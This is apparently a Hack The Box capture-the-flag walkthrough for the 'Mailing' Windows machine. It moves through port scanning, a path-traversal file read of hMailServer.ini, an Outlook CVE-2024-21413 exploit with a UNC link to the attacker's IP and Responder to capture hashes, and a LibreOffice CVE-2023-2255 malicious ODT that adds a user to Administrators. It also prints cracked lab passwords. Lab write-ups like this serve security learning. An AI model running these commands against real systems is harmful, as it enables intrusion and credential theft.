- Enumeration
- Port Scans
- nmap - TCP All ports scan
- HTTP
- Directories / Files
- Local File Inclusion (LFI)
- Exploitation
- User Flag
- Locating Credentials
- Decrypting Credentials
- Verify Credentials
- CVE-2024-21413
- user.txt
- Root flag
- Enumeration of Exploit
- CVE-2023-2255
- root.txt
Enumeration
Port Scans
nmap - TCP All ports scan
nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -p- -oN "/home/kali/htb/mailing/results/scans/_full_tcp_nmap.txt" -oX "/home/kali/htb/mailing/results/scans/xml/_full_tcp_nmap.xml" mailing.htbPort | State | Service | Version |
25/tcp | open | smtp | hMailServer smtpd |
80/tcp | open | http | Microsoft IIS httpd 10.0 |
110/tcp | open | pop3 | hMailServer pop3d |
135/tcp | open | msrpc | Microsoft Windows RPC |
139/tcp | open | netbios-ssn | Microsoft Windows netbios-ssn |
143/tcp | open | imap | hMailServer imapd |
445/tcp | open | microsoft-ds | |
465/tcp | open | smtp | hMailServer smtpd |
587/tcp | open | smtp | hMailServer smtpd |
993/tcp | open | imap | hMailServer imapd |
5040/tcp | open | unknown | |
5985/tcp | open | http | Microsoft HTTPAPI httpd 2.0 |
7680/tcp | open | pando-pub | |
47001/tcp | open | http | Microsoft HTTPAPI httpd 2.0 |
49664/tcp | open | msrpc | Microsoft Windows RPC |
49665/tcp | open | msrpc | Microsoft Windows RPC |
49666/tcp | open | msrpc | Microsoft Windows RPC |
49667/tcp | open | msrpc | Microsoft Windows RPC |
49668/tcp | open | msrpc | Microsoft Windows RPC |
49669/tcp | open | msrpc | Microsoft Windows RPC |
HTTP
Directories / Files
feroxbuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 100 --url http://mailing.htb/ -x txt,php,html -C 403,301,302,400,404Local File Inclusion (LFI)
Testing of the found download.php file indicates that there is an LFI.
LFI Payload list was taken from https://raw.githubusercontent.com/emadshanab/LFI-Payload-List/master/LFI payloads.txt.
To further explain the command below. The --hh 15,1213 is used to filter out the responses that we don’t want these being the 15 character response indicating File not found. and the 1213 character response which is the generic Internal Server Error.
wfuzz -w LFI\ payloads.txt -u http://mailing.htb/download.php?file=FUZZ --hh 15,1213We can verify this using the curl command.
curl http://mailing.htb/download.php?file=../../../../../Windows/win.iniExploitation
User Flag
Locating Credentials
As shown in the port scan results this server appears to be running hMailServer. We can dump the credentials using the LFI found previously.
curl http://mailing.htb/download.php?file=../../../../../Program+Files+(x86)/hMailServer/Bin/hMailServer.iniDecrypting Credentials
CrackStation can be used to decrypt the credentials found in the AdministratorPassword field in the hMailServer.ini file.
Verify Credentials
telnet mailing.htb 110
USER administrator@mailing.htb
PASS homenetworkingadministrator
LISTCVE-2024-21413
- Clone the repository.
git clone https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability.git- Setup responder.
sudo responder -I tun0- Run exploit.
python3 CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient maya@mailing.htb --url '\\10.10.14.8\admin' --subject Lulz- Receive credentials to responder after a short period.
- Crack the hash.
- Verify the user credentials.
evil-winrm -u maya -p m4y4ngs4ri -i mailing.htbuser.txt
type ..\Desktop\user.txt
whoamiRoot flag
Enumeration of Exploit
If we enumerate the scheduled tasks we see that there is one running as localadmin.
schtasks /query /fo LIST /tn "Test" /vWe can also verify that this user is in fact a member of the Administrators group.
net user localadminEnumeration of the Program Files directory shows us that LibreOffice is installed.
Viewing the readme_en-US.txt file we can see that version 7.4 is currently installed.
Get-Content 'C:\Program Files\Libreoffice\readmes\readme_en-US.txt' | Select-Object -First 10This appears to be vulnerable to CVE-2023-2255. Viewing this exploit shows that it involves the use of a malicious ODT file. The last thing we need to work out is where to place the file so that the scheduled task will pick it up and run it.
The root of the C:\ shows a folder called Important Documents which looks like a likely candidate.
If we view the contents the folder is empty. So we write a small test file to the folder, confirm it has actually been written then wait a few minutes and check again to find that it has been removed. OK so something is happening to this folder to clear the contents.
ls
echo 'test' > dummyfile.txt
ls
# Wait a few minutes
lsCVE-2023-2255
Clone the repository and generate the exploit. Be sure to take note of the group name Administradores (Don’t appear to be using English language).
cd CVE-2023-2255
python3 CVE-2023-2255.py --cmd 'net localgroup Administradores maya /add' --output 'exploit.odt'
File exploit.odt has been created !Upload the file to the Important Documents directory.
upload /home/kali/htb/mailing/CVE-2023-2255/exploit.odtWe can see the document has been uploaded and that we are currently not a member of the Administradores group.
ls
net localgroup AdministradoresSo we wait for a minute or 2 for the document to be processed. Then run the above commands again. We can see that the document has now been removed and that the user maya is a member of the Administradores group.
ls
net localgroup AdministradoresNow we simply reconnect with Evil-WinRM to ensure that the user has the newly added group membership.
evil-winrm -u maya -p m4y4ngs4ri -i mailing.htbroot.txt
Now we can just dump the root.txt file as maya. Sure you can use maya to dump hashes and login to the localadmin account but it just isn’t required. As long as you logged out and back in after running the exploit to ensure that the group membership change has taken affect you should have all the permissions you need.
type C:\Users\localadmin\Desktop\root.txt